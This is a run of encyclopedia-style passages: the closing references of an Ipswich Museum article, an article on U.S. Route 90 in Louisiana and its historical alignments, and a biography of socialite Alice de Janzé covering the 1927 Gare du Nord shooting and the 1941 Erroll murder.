S J Plunkett, "The Suffolk Institute of Archaeology: Its Life, Times and Members£, Proc Suffolk Inst of Archaeol., 1998.
New ODNB, entries for Nina Layard, Basil Brown, John Ellor Taylor.
External links
Ipswich Museum – Colchester + Ipswich Museums
Friends of the Ipswich Museums
1846 establishments in England
Buildings and structures in Ipswich
Egyptological collections in England
Local museums in Suffolk
Museums established in 1846
Museums in Suffolk
Museums of ancient Rome in the United Kingdom
Musical instrument museums in England
Natural history museums in England
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https://en.wikipedia.org/wiki/U.S.%20Route%2090%20in%20Louisiana
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U.S. Route 90 in Louisiana
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U.S. Highway 90 (US 90), one of the major east–west U.S. Highways in the Southern United States, runs through southern Louisiana for , serving Lake Charles, Lafayette, New Iberia, Morgan City, and New Orleans. Much of it west of Lafayette and east of New Orleans has been supplanted by Interstate 10 (I-10) for all but local traffic, but the section between Lafayette and New Orleans runs a good deal south of I-10.
The stretch between Lafayette and New Orleans is planned as a southern extension of I-49 and is signed as "future corridor I-49". This part of the highway is important to the offshore petroleum industry, as it connects the cities of Lafayette and New Orleans to the port cities along the coast. Most of US 90 from New Iberia to New Orleans that has not already been improved to Interstate grade, is mainly an expressway, excepting the towns traversed through, that can be easily upgraded to freeway standards. The freeway east of Morgan City, bypassing Houma to the north, was originally built as Louisiana Highway 3052 (LS 3052); US 90 was shifted to it from its former alignment (now LA 182) once it was completed.
US 90 replaced almost all of the Louisiana section of the San Diego–St. Augustine running Old Spanish Trail. It was also designated Louisiana Highway 2 (LA 2) until the 1955 renumbering. A long section of the old road, from Lafayette to northeast of Raceland, is now LA 182.
Route description
State line to Lafayette
US 90 enters Louisiana at the Texas line over the Sabine River as part of I-10. Separating at exit 4 and running parallel on the north side of I-10 through Sulphur, before rejoining I-10 east of Westlake, crossing the Calcasieu River, and again splitting from I-10 at exit 31B (running on the south side of I-10) going through Lake Charles as Fruge, West 4th, then East 4th, before leaving town. In Iowa US 90 intersects with the southern terminus of US 165 continuing east through Lacassine, Welsh, Roanoke, Jennings, and Mermentau. East of Mermentau US 90 runs north of and parallel to a section of the Old Spanish Trail through Midland, Estherwood, and Crowley. In Crowley US 90 makes a north then east jog, bringing it close and parallel to I-10, passing through Rayne, Duson, Scott, and then into Lafayette.
Lafayette to Raceland
From Lafayette, US 90 traverses a south-southeast course to Patterson, where the highway takes a more easterly direction to New Orleans. The section east (south) of Broussard, beginning east of Captain Cade road but west of LA 88, to just west of Patterson, has been improved to Interstate grade and completed in June 2011. These improvements include the completion of the overpasses at Coteau Road (LA 88), Jefferson Island Road (LA 675), Center street (LA 14), Avery Island road (LA 329), South Lewis Street (Parish Road 605), Weeks Island road (LA 83), Darnall Road (Parish Road 211), Patout Road (LA 85), and Canal Street (LA 668). This section ties into the already completed section that begins at LA 318 and terminates at East Main street (LA 182) just east of Calumet. West of Berwick US 90 is listed as Interstate grade with a per hour speed limit from (mile marker 174) to east of Raceland and an intersection with LA 1 (mile marker 215B), before reverting to a standard divided highway and continuing on a north/northeast direction to New Orleans.
New Orleans
US 90 enters Jefferson Parish, and after passing Avondale, heads north at an intersection with US 90 Business, called the Westbank Expressway, through Bridge City, and across the Mississippi River over the Huey P. Long Bridge. Crossing the river US 90, designated as S. Clearview Parkway, intersects with and runs east as the Jefferson Highway, that was originally part of the "Interstate Trail" and the "Pine to Palm" highway, a north–south transcontinental U.S interstate highway running from New Orleans to Winnipeg, Manitoba, Canada The highway terminus was at the corner of St. Charles Avenue and Common Street with a monument that was erected in 1916. The original highway was changed to follow US 90 and LA 48. After 1935 Jefferson became S. Claiborne Avenue at the Orleans Parish line and makes a sweeping south-to-north semicircle weaving through New Orleans. As the highway swings north it intersects and runs under an elevated I-10, where it turns northwest along Tulane Avenue. The highway soon turns northeast along South Broad Avenue—North Broad Avenue after the intersection with Canal Street—then runs into a pair of regular individual streets (i.e., not a street that has a median—or neutral ground in the vernacular of New Orleans—separating half of the lanes from the other half) that are from the old street grid and thus parallel at about from each other (named New Orleans Street & Allen Street) for about , crossing I-610 in this tiny span, and finally turning right (east) onto Gentilly Boulevard (which has a median), which eventually becomes Chef Menteur Highway (a mainly straight highway that replaced what is now called Old Gentilly Road), then crossing I-510, and then a few miles later, loses the median and meanders (i.e., in a manner similar to the way that Old Gentily meanders) until first reaching the national southern terminus of U.S. 11, which leads to the Irish Bayou community, and then passing the Venetian Isles community (a subdivision in which homes have a canal in the backyard for easy access to the surrounding lakes), and finally becoming a two-lane highway at the bridge over the Chef Menteur Pass to go past the Lake Catherine community until reaching the bridge over the Rigolets, after which US 90 finally leaves the corporate limit of New Orleans, entering St. Tammany Parish. The stretch in the Lake Catherine community is where Jayne Mansfield was killed in a car accident on her way to New Orleans from Mississippi.
In St. Tammany Parish, US 90 then enters Slidell. After exiting Slidell it heads east and crosses the Mississippi state line at a drawbridge at the Pearl River.
The Jefferson Highway was the first north/south transcontinental highway in America, the second interstate highway, after the Lincoln Highway that it intersects in Colo, Iowa, but was the first international interstate highway in the world.
Interstates 49 and 910
The Business US 90 portion of the Pontchartrain Expressway is also designated as Interstate 910, however it is not signed as such. This is a temporary designation that overlaps all freeway portions of Business US 90 (the Pontchartrain Expressway, Crescent City Connection, and Westbank Expressway). When Interstate 49 is completed from Lafayette to New Orleans, Business US 90/Interstate 910 will be resigned as Interstate 49.
History
The modern US 90 has its roots in an early 20th-century auto trail known as the Old Spanish Trail, which was designated as State Route 2 within Louisiana when the state first numbered its highway system in 1921. US 90 was applied to the route when the numbered U.S. Highway system was implemented in 1926. With minor exceptions, Route 2 generally remained co-signed with US 90 throughout the state until such overlapping between U.S. and state routes was eliminated in the 1955 Louisiana Highway renumbering. Prior to 1955, as US 90 was gradually relocated onto newer and improved alignments, Route 2 was often moved accordingly. Former alignments remaining in the state highway system were then designated as part of State Route 1092, with shorter pieces designated as Route 2-D, 2-E, and so on as needed.
In Calcasieu Parish, on the border with Orange, Texas, US 90 originally crossed the Sabine River eastward into East Orange, Louisiana, a town consisting primarily of gambling, showboats, and supper clubs. The bridge over the Sabine River was removed after US 90 had been rerouted northward in Orange onto Simmons Drive and Interstate 10.
In Lake Charles, US 90 traveled from Westlake down present-day Mike Hooks Road to cross the Calcasieu River on a bridge built in 1916. The road then traveled along Shell Beach and Lakeshore Drive to continue eastward on Broad Street. This alignment changed with the completion of the Lake Charles I-10 Bridge in 1952.
In St. Charles Parish and Lafourche Parish, US 90 traveled down present-day LA 631, crossing the swing bridge still used by local traffic in Des Allemands.
In Lafourche Parish, the old US 90 (now LA 182) splits off from the current US 90/Future I-49 just northeast of Raceland. Further southwest it enters Raceland, intersecting with LA 308, then immediately afterwards crosses Bayou Lafourche over a lift bridge. The route then goes to the right, through the middle of Raceland coaligned with LA 1 for a few thousand feet. It then takes a turn to the southwest as Willow Street or Old Houma Road, interchanging with US 90/Future I-49. Just south of this interchange, it travels as a four-lane highway until the junction with Prospect Blvd./LA 3087. Old Highway 90/LA 182 then heads to Bayou Blue and on to downtown Houma as a major two-lane highway. LA 653 was US 90's original route but was supplanted in the 1950s by its current route, what is now LA 182, and most of this original road has been abandoned.
Jefferson Parish:
1926–1928: The original alignment of US 90 generally followed today's LA 18 through Jefferson Parish and crossed the Mississippi River into Orleans Parish (city of New Orleans) via the Jackson Avenue Ferry at Gretna. The exact routing was as follows:
LA 18 (River Road) from the St. Charles Parish line eastbound to Avondale.
The original road through the Avondale shipyards continued straight along the river levee and no longer exists.
LA 541 (continuation of River Road) and Bridge City Avenue through Bridge City.
LA 18 (Seven Oaks Boulevard, formerly Bridge City Avenue) to Westwego.
LA 541 (River Road), Sala Avenue, and LA 18 (Fourth Street) through Westwego.
LA 18 (Fourth Street, Barataria Boulevard, and continuation of Fourth Street) to Gretna.
Huey P. Long Avenue to the Gretna Ferry landing.
1928–1930: US 90 was re-routed over the Walnut Street Ferry in September 1928, shortening the route in Jefferson Parish to the former ferry landing at River Road and Sala Avenue in Westwego.
1930–1937: US 90 was restored to its original route through Jefferson Parish in May 1930, after widening and resurfacing of the Westwego-Gretna section was completed in April.
1937–1941: The Huey P. Long Bridge was opened in December 1935. US 90 was re-routed over the bridge, following Jefferson Highway into Orleans Parish, after widening of that thoroughfare to four lanes was completed in 1937. (LA 2 remained on the old alignment until the 1955 renumbering of Louisiana highways.)
1941–present: The current alignment (the "Boutte Cutoff") west of the Huey P. Long Bridge was opened in April 1941, bypassing the winding river road. This alignment was widened to four lanes in 1953.
Orleans Parish (west of Peoples Avenue):
1926–1928: US 90 originally followed this route through New Orleans, starting from the Jackson Avenue Ferry landing:
Jackson Avenue and South Claiborne Avenue to downtown New Orleans.
Canal Street, North Broad Avenue, Bruxelles Street, and Gentilly Boulevard to Peoples Avenue.
The above route, though signed in the field, had several problems that were mostly alleviated by a re-routing in 1928:
The New Basin Canal bridge on South Claiborne Avenue had been closed in 1923 due to safety concerns. A temporary bridge was opened in July 1928, but it was a traffic bottleneck.
Bruxelles Street became a one-way street in 1926, forcing westbound traffic to follow the unpaved Paris and St. Bernard Avenues from Gentilly to Broad.
Jackson Avenue was also unpaved beyond St. Charles Avenue and did not connect directly to South Claiborne Avenue westbound.
The Jackson Avenue Ferry service was considered to be inferior to that of the Walnut Street Ferry which the Old Spanish Trail had followed for years.
1928–1930: The route of US 90 was revised above Canal Street in September 1928, utilizing a better ferry and avoiding the New Basin Canal bridge and railroad crossings on South Claiborne Avenue. From the Walnut Street Ferry landing, the revised route was as follows:
Walnut Street, St. Charles Avenue to Lee Circle, Howard Avenue, and Camp Street to Canal Street.
Because of one-way streets, westbound traffic followed Canal Street, St. Charles Avenue, and Audubon Street to the Walnut Street Ferry landing.
1930–1931: In spite of protests, US 90 was routed back over the Jackson Avenue Ferry in May 1930, following Jackson Avenue, St. Charles Avenue, Washington Avenue, and South Claiborne Avenue to Canal Street.
1931–1937: After Jackson Avenue was paved between St. Charles Avenue and South Claiborne Avenue in October 1931, the Washington Avenue detour was eliminated. Paving of Paris and St. Bernard Avenues was completed in March 1932, but eastbound traffic still followed Bruxelles Street.
1937–1939: After being re-routed over the Huey P. Long Bridge, US 90 now entered Orleans Parish on South Claiborne Avenue, following South Carrollton Avenue and Canal Street to North Broad Avenue.
1939–1946: US 90 shortly began to follow South Claiborne Avenue directly to Canal Street.
1946–1956: The Bruxelles Street link was finally eliminated. Eastbound traffic now followed St. Bernard and Paris Avenues from Broad to Gentilly. Westbound traffic followed St. Bernard Avenue only.
1956–1975: US 90 was re-routed over the North Broad Avenue extension and railroad underpass that had been opened in April 1952. Eastbound traffic was fed onto Allen Street to Gentilly Boulevard. Westbound traffic followed New Orleans Street from Gentilly Boulevard onto North Broad Avenue.
1975–present: The final change in routing was the substitution of Tulane Avenue for Canal Street around 1975.
Orleans Parish (east of Peoples Avenue):
1926–1929: Continuing from the intersection of Gentilly Boulevard and Peoples Avenue, the original route of US 90 through eastern New Orleans was as follows:
Old Gentilly Road to the Industrial Canal. US 90 crossed the canal over the L&N Railroad bridge (also known as the Almonaster Avenue Bridge), a combination railroad/vehicular bridge opened in 1919 now closed to vehicular traffic. The bridge was originally connected to Old Gentilly Road via two sharp right-angle turns on either side.
Continuation of Old Gentilly Road to Michoud.
US 90 remains on its original alignment (Chef Menteur Highway) from Michoud to a point two miles west of the Chef Menteur Bridge, where the original road continued to the left along Bayou Sauvage. Portions of this road still exist as Old Chef Menteur Road and Fort Macomb Road.
US 90 crossed the Chef Menteur Pass by ferry, then continued along the current alignment toward the Rigolets. About a third of the way to the Rigolets, a curve on the south side of the road has been bypassed.
At the approach to the Rigolets Bridge, US 90 continued straight ahead on a road which no longer exists to the site of the Rigolets Ferry to St. Tammany Parish.
1929–1930: The Chef Menteur Bridge was opened in September 1929, replacing the ferry service.
1930–1932: The Rigolets Bridge (with new approach road) was opened in June 1930, followed shortly by the first section of Chef Menteur Highway between Downman Road and Lee Station. The route was now:
Old Gentilly Road to the Industrial Canal, with the dangerous bridge approaches smoothed out. The eastern approach now fed traffic onto the new Chef Menteur Highway.
Current US 90 (Chef Menteur Highway) to Lee Station, curving back onto Old Gentilly Road just east of present-day Crowder Boulevard.
Old Gentilly Road to Michoud.
Current US 90 (Chef Menteur Highway) and old approach (described above) to Chef Menteur Pass.
Current US 90 (Chef Menteur Highway) across Chef Menteur and Rigolets bridges to St. Tammany Parish.
1932–1934: The Peoples Avenue-Downman Road section of Chef Menteur Highway, including a new bridge over the Industrial Canal, was opened in 1932. The original Danziger Bridge existed on the north side of the current bridge.
1934–1942: The permanent approach road to the Chef Menteur Bridge was finally opened, eliminating the road along Bayou Sauvage with right-angle turn onto the bridge.
1942–present: The "Michoud Cutoff," the section of Chef Menteur Highway from Lee Station to Michoud, was opened in May 1942, completing the current alignment.
In St. Tammany Parish, US 90 originally took a much longer route toward Mississippi. After crossing the Rigolets, US 90 traveled along LA 433 (Old Spanish Trail) to Slidell, then US 11 (Front Street) to Pearl River, continuing onto LA 3081 (Main Street). The bridge across the West Pearl River no longer exists. The route continued onto Old US 11, crossing the site of current US 11/I-59. Old US 11 continues through the Pearl River State Wildlife Management Area to the Mississippi state line, where a bridge once crossed the Pearl River. This out-of-the-way alignment was bypassed around 1930 when the current alignment to Pearlington was constructed. US 11 was subsequently routed onto it.
Future
In Louisiana, current plans call for parts of US 90 to be upgraded to Interstate Highway standards from Lafayette to just west of New Orleans and designated I-49. The stretch of US 90 to be upgraded to I-49 is listed under High Priority Corridor 37 and stretches from the West Bank Expressway (US 90 Business near Westwego) to just north of downtown Lafayette, where US 90 splits from US 167 (the two highways converge in downtown Lafayette). The stretch of US 167 from US 90 to I-10 will also be upgraded and included as part of I-49. As of March 2008, due to a $1 billion surplus in the Louisiana state budget, the legislature approved a bill which proposed capacity improvements on US 90 in the Lafayette area. US 167/US 90 is currently six-lanes from I-10 in Lafayette to LA 182 and LA 96 in Broussard.
Major intersections
Related routes
US 90 Bus. (90-X) runs mainly along the old alignment through downtown Lake Charles, while US 90 uses I-10 and the newer Fruge Street.
US 90 Bus. (90-Y) is the old route through downtown Lafayette, mostly along LA 182.
US 90 Bus. (90-W) is mostly the old route (LA 182) through and east of Morgan City.
US 90 Bus. (90-Z) is more of a bypass than a business route in the New Orleans area, running along the Westbank Expressway.
US 190 splits from US 90 east of Slidell, just west of the Mississippi state line. It heads west into Texas, staying north of US 90.
References
External links
La DOTD State, District, and Parish Maps
Article; "Following in the Lincoln's Wake: The Jefferson Highway" by Lyell Henry
90
Louisiana
090
Transportation in Acadia Parish, Louisiana
Transportation in Assumption Parish, Louisiana
Transportation in Calcasieu Parish, Louisiana
Transportation in Iberia Parish, Louisiana
Transportation in Jefferson Parish, Louisiana
Transportation in Jefferson Davis Parish, Louisiana
Transportation in Lafayette Parish, Louisiana
Transportation in Lafourche Parish, Louisiana
Transportation in New Orleans
Transportation in St. Charles Parish, Louisiana
Transportation in St. Martin Parish, Louisiana
Transportation in St. Mary Parish, Louisiana
Transportation in St. Tammany Parish, Louisiana
Transportation in Terrebonne Parish, Louisiana
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https://en.wikipedia.org/wiki/Alice%20de%20Janz%C3%A9
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Alice de Janzé
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Alice de Janzé (née Silverthorne; 28 September 1899 – 30 September 1941), also known as the Countess de Janzé during her first marriage and as Alice de Trafford during her second marriage, was an American heiress who spent years in Kenya as a member of the Happy Valley set of colonials. She was connected with several scandals, including the attempted murder of her lover in 1927, and the 1941 murder of the 22nd Earl of Erroll in Kenya. Her life was marked by promiscuity, drug abuse and several suicide attempts.
Growing up in Chicago and New York, Silverthorne was one of the most prominent American socialites of her time. A relative of the wealthy Armour family, she was a multi-millionaire heiress. She married into the French nobility in 1921 when she wed Frédéric de Janzé, comte de Janzé. In the mid-1920s, she was introduced to the Happy Valley set, a community of white expatriates in East Africa, notorious for their hedonistic lifestyle.
In 1927, she made international news when she shot her lover Raymond de Trafford in a Paris railway station and then turned the gun on herself; they both survived. Alice de Janzé stood trial and was fined a small amount, and later pardoned by the French state. She went on to marry, and later divorce, the man she shot.
In 1941, she was one of several major suspects in the murder in Kenya of her friend and former lover, Lord Erroll. After several previous suicide attempts, she died of a self-inflicted gunshot in September 1941. Her personality has been referenced both in fiction and non-fiction, most notably in the book White Mischief and its film adaptation, where she was portrayed by Sarah Miles.
Early life
Alice Silverthorne was born in Buffalo, Erie County, New York, the only child of textile industrialist William Edward Silverthorne and his wife Julia Belle Chapin (14 August 1871 – 2 June 1907). Julia was the daughter of Marietta Armour Chapin, whose brothers Philip Danforth Armour and Herman Ossian Armour founded the Armour & Company meatpacking brand, at that time the largest food products company in the world.
William and Julia were married on 8 June 1892 in Chicago, the city where Alice spent most of her childhood and adolescence, living with her parents in the affluent Gold Coast district. Alice became a favourite of her cousin, J. Ogden Armour. Her family's great wealth prompted her childhood friends to take a cue from her surname and give her the nickname "Silver Spoon".
Her mother died of complications from tuberculosis when Alice was eight years old, although biographer Paul Spicer argues that her death was a result of being locked out of the house by her husband during a freezing night six months earlier. Alice, who inherited a large estate from her mother, was herself an asymptomatic consumptive from birth. Following her mother's death, Alice was raised by a German governess in large houses in New York; her alcoholic father was frequently absent due to his professional obligations.
Contrary to her wishes, William Silverthorne quickly remarried in 1908 and had five children with his second wife, Louise Mattocks. Many of their children did not survive; Alice's half-siblings included William Jr. (1912–1976), Victoria Louise (died in infancy in 1914), Patricia (1915–?), Lawrence (1918–1923), and an unnamed girl who died in infancy in 1910. William later divorced Mattocks and married twice more.
With her father's encouragement, Alice was introduced to wild social life in her early adolescence. She was one of the more prominent socialites of Chicago, frequenting the fashionable nightclubs of the time. Her father also took her on several European tours and encouraged her image as a prominent debutante. These years of wild youth left Alice with a chronic melancholia; it is possible that she suffered from cyclothymia, a strain of bipolar disorder.
Her father soon lost custody of her; an uncle from her mother's side assumed the role of her legal guardian and then proceeded to place her at a boarding school in Washington, D.C. Journalist Michael Kilian believes this was because William Silverthorne had an incestuous relationship with his adolescent daughter, in which she lost her virginity to her father, until one of her uncles intervened and took the case to the court. Paul Spicer disagrees that her relationship with her father was improper. Regardless of the court decision, after 14-year-old Alice came to live with the Armours in New York, she then openly traveled with her father to the French Riviera, where Kilian claims William Silverthorne openly sported her as his mistress and allowed her to keep a black panther as a pet. In later years, she was famous for parading the animal up and down the Promenade des Anglais in Nice.
1919–1927: Marriage and the Happy Valley set
In 1919, Alice moved back to Chicago to live with her aunts, Mrs Francis E. May (née Alice Chapin) and Mrs Josephine Chapin. Two years later, Alice moved to Paris, where she briefly worked as director of the model department in Jean Patou's atelier, until she met Frédéric de Janzé, a well-known French racing driver and heir to an old aristocratic family in Brittany. A participant in the 24 Hours of Le Mans and other races, Frédéric also frequented literary circles and was close friends with Marcel Proust, Maurice Barrès and Anna de Noailles.
Unlike many other American heiresses of the period, Alice had not allowed her family to arrange an advantageous match for her, choosing to take the initiative and pursue a romance with Frédéric de Janzé on her own. After a romance of three weeks, the couple married on 21 September 1921 in Chicago, with her new husband reportedly finding her 'Silverthorne' surname so charming that he regretted their marriage would take it away from her.
Following the ceremony, Alice's aunt, Mrs J. Ogden Armour, turned over the Armour estate on Long Island to the couple, where they spent two weeks before deciding to permanently settle in Paris, in the Champs-Élysées quarter. They had two daughters, Nolwén Louise Alice de Janzé (20 June 1922 – 7 March 1989) and Paola Marie Jeanne de Janzé (1 June 1924 – 24 December 2006). Alice was a neglectful mother and Frédéric was a neglectful father; the children were primarily brought up in their family's chateau de Parfondeval in Normandy by governesses and Frédéric's sister.
In 1925, the couple first met and became good friends with Josslyn, 22nd Earl of Erroll, and his wife, Idina, Countess of Erroll, in Montparnasse. Some time later, the young Lord and Lady Erroll invited the de Janzés to spend some time in their home in the so-called 'Happy Valley' in the British Colony of Kenya, a community of British colonials living in the Wanjohi Valley, near the Aberdare Mountains. This enclave had become notorious among socialites in the UK for being a community for those seeking a hedonistic lifestyle, including drugs, alcohol and sexual promiscuity. Noticing that Alice had become restless, Frédéric decided to distract her and agreed to the trip.
In the Happy Valley, the de Janzés were neighbours to the Errolls. Frédéric de Janzé documented his time in Happy Valley and all the eccentric personalities he met there in his book, Vertical Land, which was published in 1928. He provided several non-eponymous references to members of the Happy Valley set, including a psychological portrait of his wife that alludes to her suicidal tendencies:
Even among the scandalous residents of Happy Valley, Alice was soon known as "the wicked Madonna" for her beauty, sarcastic sense of humour, and unpredictable mood swings. She was known for speaking passionately about animal rights as well as playing the ukulele, and soon she began an affair with Lord Erroll, openly sharing him with Idina.
The de Janzés later returned to Happy Valley in 1926. While Frédéric distracted himself with lion hunting, Alice began a love affair with British aristocrat Raymond Vincent de Trafford (28 January 1900 – 14 May 1971), son of Sir Humphrey de Trafford, 3rd Baronet. Alice's infatuation with de Trafford was so great that the couple attempted to elope, although they promptly returned. Frédéric was aware of his wife's open infidelity but did not become preoccupied by it, although years later he would refer to the love triangle with de Trafford as "the infernal triangle".
That autumn, in an attempt to save his marriage, Frédéric returned to Paris with Alice; he was unsuccessful. Alice visited Frédéric's mother; revealing that she was in love with de Trafford, she asked her help in obtaining a divorce. Her mother-in-law advised her to think of her two daughters and do nothing she might later regret. Alice soon returned to Kenya and her lover. Hoping to keep the extramarital affair from becoming a scandal, her mother-in-law loaned Alice a furnished flat in a quiet street in Paris to use as a "love nest" with de Trafford. Under pressure from his family, Frédéric quickly sued for divorce.
1927: The Gare du Nord shooting incident
On the morning of 25 March 1927, Alice awoke in an agitated state in her Paris home, according to the later testimony of her maid. That afternoon, when Alice and Raymond de Trafford met, he informed her that he would not be able to marry her as his strict Catholic family had threatened to disinherit him if he followed through with the plan. The couple later visited a sporting equipment shop together, where Alice bought a gold-mounted, pearl-handled revolver.
At the Gare du Nord a few hours later, as de Trafford was bidding farewell to her in his train compartment before he left for London by an express boat train, she pulled the revolver from her purse and shot him in the stomach, puncturing his lung. She then shot herself in the stomach. The train conductor reported that when he opened the compartment door, Alice gasped "I did it" and then collapsed.
De Trafford spent several days in a hospital in critical condition. Alice is reported to have screamed "But he must live! I want him to live!" when she heard the news that de Trafford was too seriously wounded to survive. Her own wound was initially overlooked by doctors during the confusion. Despite initial reports that spoke of her also being gravely injured, her wounds were quite superficial. One journalist reported that "she had shot herself very gently". Both Alice and de Trafford were transferred to the Lariboisière Hospital. Alice's relatives rushed to the hospital and attempted to have her transferred to a private clinic, but were stopped by the gendarmes because the countess was under arrest.
The incident made headlines all over the world. Some confusion was caused when five British newspapers, the Western Mail, The Manchester Guardian, The Liverpool Daily Courier, The Liverpool Evening Express and Sheffield Daily Telegraph, illustrated their reports of the shooting incident with pictures not of Alice, but of her sister-in-law Vicomtesse Phillis Meeta de Janzé. The viscountess promptly sued them for libel and received a settlement.
In an attempt to minimize the situation, a statement was released to the press by Alice's family, assuring the public that there was nothing in the double shooting that "casts discredit upon the names of Armour and Silverthorne, which have been honored in America many generations, nor anything which could induce a French jury to render a verdict of conviction". Her aunt Mrs George Silverthorne told a reporter: "It cannot be Alice. She and her husband were so happy together, and such a thing would be impossible. There must be some mistake."
Alice claimed to feel regret about shooting de Trafford, who was said to be on the brink of death, but did not offer an explanation, telling a police official who was permitted to see her: "I decided to shoot him just as the train was leaving. Why is my own secret. Don't ask me." De Trafford finally regained consciousness and made a brief statement. In an effort to protect Alice, he explained: "Why, Madame attempted suicide. I tried to stop her and the weapon was accidentally discharged. A deplorable accident, surely... but yet, an accident!" before lapsing into unconsciousness again. Alice's condition quickly improved and she was first able to talk with relatives on 30 March. She officially confessed to the shootings in a signed statement on 2 April, in which she admitted to having attempted suicide numerous times in her life, declaring: "I wanted to kill myself, for I have always had ideas of suicide. From time to time, and without reason, I have wanted to die."
Trial and penalty
On 5 April, Alice was officially charged with attempted murder with premeditation. On 8 April, she made an official declaration in which she stated she originally only planned suicide when she bought the revolver, but eventually also fired at de Trafford because of anguish at parting from him. In her official declaration to Judge Banquart, who was charged with investigating the case, she stated:
On 9 April, de Trafford returned to London by a private aeroplane, declaring to French authorities that he did not wish to take any action against Alice, although he would return to Paris if his testimony was needed. Meanwhile, Alice was held in Saint Lazare, a prison for women. Her cell, No. 12, had hosted several notorious female criminals in the past, including Mata Hari, Marguerite Steinheil and Henriette Caillaux. After she made a formal demand for release on bail, she was temporarily freed by the police pending her recovery on 20 May. She eventually described what happened in the train station:
Thanks to the intervention of her aunt Francis May, Alice vanished from the public eye, hidden in a nursing home close to Paris in preparation for the impending trial. Her lawyers attempted, without success, to have the charges against her dismissed. She was tried by the Paris Tribunal on 23 December 1927, on the charge of assault, after her celebrated advocate, René Mettetal, convinced the examining magistrate that she was mentally irresponsible at the time she shot de Trafford. When de Trafford was asked if he wanted to press charges against the countess, he expressed surprise and annoyance at the idea, claiming that his wounding was an accident that he himself caused:
Alice's defense attorney pleaded that the countess' chronic melancholy and tuberculosis had "deadened her intelligence". He also read a letter from her childhood friend, American heiress Mary Landon Baker, in which Baker claimed that Alice suffered from extreme melancholia and that she had attempted suicide a total of four times throughout her life. When asked why she took the gun with her to the railway station, Alice replied: "To kill myself. And I nearly succeeded. Didn't I shoot myself in the stomach, like poor Raymond?" She also made her plea that she be acquitted so as to not disgrace the de Janzé family name.
Alice received a suspended sentence of six months in prison and a fine of 100 francs (approximately four U.S. dollars) by the Paris Correctional Court, who rebuked de Trafford for his failure to deliver his promise to marry her, out of fear of losing the family allowance. Although it was criticized by some newspapers, this lenient decision may have been influenced by the revelation concerning Alice's frequent suicide attempts, de Trafford's taking responsibility for her state of mind, and the public's sympathetic view of her as the tragic victim of a true crime of passion. Even the prosecuting attorney insisted upon leniency and declared that "I should not like to bear de Trafford's responsibility for a broken heart and a disrupted home".
Under the First Offenders Act, Alice was immediately released, and on 13 April 1929 she received a full presidential pardon from Gaston Doumergue, the president of the French Republic, so that even the fine she had been forced to pay was returned to her by the court. The request for the pardon was partially made to avoid any commercial repercussions the conviction might cause.
In the wake of the shooting scandal, a divorce was granted to Frédéric de Janzé, on the grounds of desertion, by the Paris Tribunal on 15 June 1927. While no mention was made of the Gare du Nord episode, Alice was to receive no alimony and Frédéric was granted custody of their two children.
That December, Alice shocked both the Count and the newspapers when she declared that she would remarry her husband for "the sake of the children"; she later retracted her statement. The civil divorce was followed by an annulment of the marriage by the Vatican on 26 July 1928; Frédéric's attorneys then warned every newspaper in England never to refer to Alice as Countess de Janzé again.
Frédéric died on 24 December 1933, in Baltimore, Maryland, of septicaemia.
1928–1941: Second marriage, divorce and return to Kenya
Following the public ordeal, de Trafford advised Alice against returning to London for a while. In early 1928, she returned to Kenya, but, in light of her public scandal, was soon ordered by Government House to leave the country as an "undesirable alien". In the following weeks, until she could properly organize her departure and wanting a relatively peaceful place where she could rest after the ordeal, she stayed for a while at the house of writer Karen Blixen, a good friend of Lord Erroll. She also resumed her affair with the Earl. Months later, living in Paris and growing indignant about the rumours, she publicly refuted that she had been asked to leave Kenya. It was not until years later that Alice was able to return, thanks to the intervention of both de Janzé and de Trafford, who convinced the Kenyan Government to re-admit her.
Around this time, Alice resumed her love affair with de Trafford, the man she had almost killed. A rumour that the couple would soon have a quiet wedding in Paris was first circulated in May 1927, then in September of that same year and later in January 1928. Alice's lawyer denied any such plans, and no wedding took place. The rumour surfaced again in April 1930. Ultimately, the couple married on 22 February 1932 in Neuilly-sur-Seine and spoke of buying a house in London. Alice commented on her affair with de Trafford: "We were deeply in love. It was arranged that we should marry", although it has been suggested that Alice literally pursued de Trafford for three years before she finally got him to marry her.
During this time Alice, who now had severe financial reversals, took over the management of a gown shop in Paris under the name of "Gloria Bocher", but soon lost both interest and money in the venture. Her marriage also rapidly collapsed, ending only three months after the wedding when the couple got into a heated argument in the compartment of an English railroad train over their honeymoon destination.
Alice confided to de Trafford that she had purchased the cottage in Happy Valley where they used to rendezvous at the start of their affair, deciding that it would be perfect for their honeymoon. The idea did not appeal to her new husband; during the course of the argument, Alice absent-mindedly reached into her purse, prompting a terrified de Trafford to flee, fearing a new murder attempt. Alice later claimed she had no pistol in her purse, nor had she the intention of shooting him, but instead wanted to powder her nose.
Alice officially sought a divorce in November 1932, charging Raymond, who had fled to Australia, with cruelty and desertion. It took her two years to obtain his signature, and the divorce procedure was reported to begin in September 1934, but did not go forward. Alice may have changed her mind, but she again officially filed for divorce in May 1937, winning an uncontested suit and a grant of decree nisi on the grounds of adultery with an unnamed co-respondent at a London hotel.
Following the divorce, Alice considered permanently returning to Chicago; however friends advised her against it, pointing out how the shooting scandal had made her a "marked woman" in her native land. Accepting her notoriety, Alice returned to the world of 'Happy Valley', where she permanently settled in the large farmhouse she had previously bought in Gilgil, located on the banks of the River Wanjohi. She spent the following years reading and taking care of her animals, which included lions, panthers and antelopes. She became addicted to drugs, particularly morphine. She was avoided by certain members of the community due to her mood swings and the shooting incident; her friend, aviator Beryl Markham, later disclosed: "Loneliness fixed Alice. Everyone was frightened of her."
Alice now rarely visited her children in France. Years later, Nolwén would state that she did not feel bitterness or hostility for her mother during their brief meetings, but would actually be fascinated by this virtually unknown woman who brought with her an air of mystique, owing to her permanent stay in Africa.
1941: The Lord Erroll murder
On 24 January 1941, Lord Erroll was found shot to death in his car, at an intersection outside Nairobi. Errol's serial philandering contributed to the persistent rumour that the perpetrator was a woman. Police duly interrogated all of Erroll's closest acquaintances, including Alice de Janzé. Although she had an alibi because she had spent an intimate night with Dickie Pembroke, another Happy Valley resident, due to her drug habits, her romantic attachment to Errol, and her previous attempt to kill a paramour, she was immediately regarded as the prime suspect among the white community of Happy Valley. It was also rumoured that she had attempted suicide on hearing the news of Erroll's death.
On the morning after Erroll's body was discovered, Alice went to the morgue with a friend to see his body. According to eyewitnesses, she stunned those in attendance by leaving a tree branch on Erroll's corpse, and whispering the words: "Now you are mine forever." Eyewitness and close friend Julian Lezzard suspected that Alice was the murderer, since it fitted with her morbid preoccupations; it was rumoured that Alice had admitted to the killing.
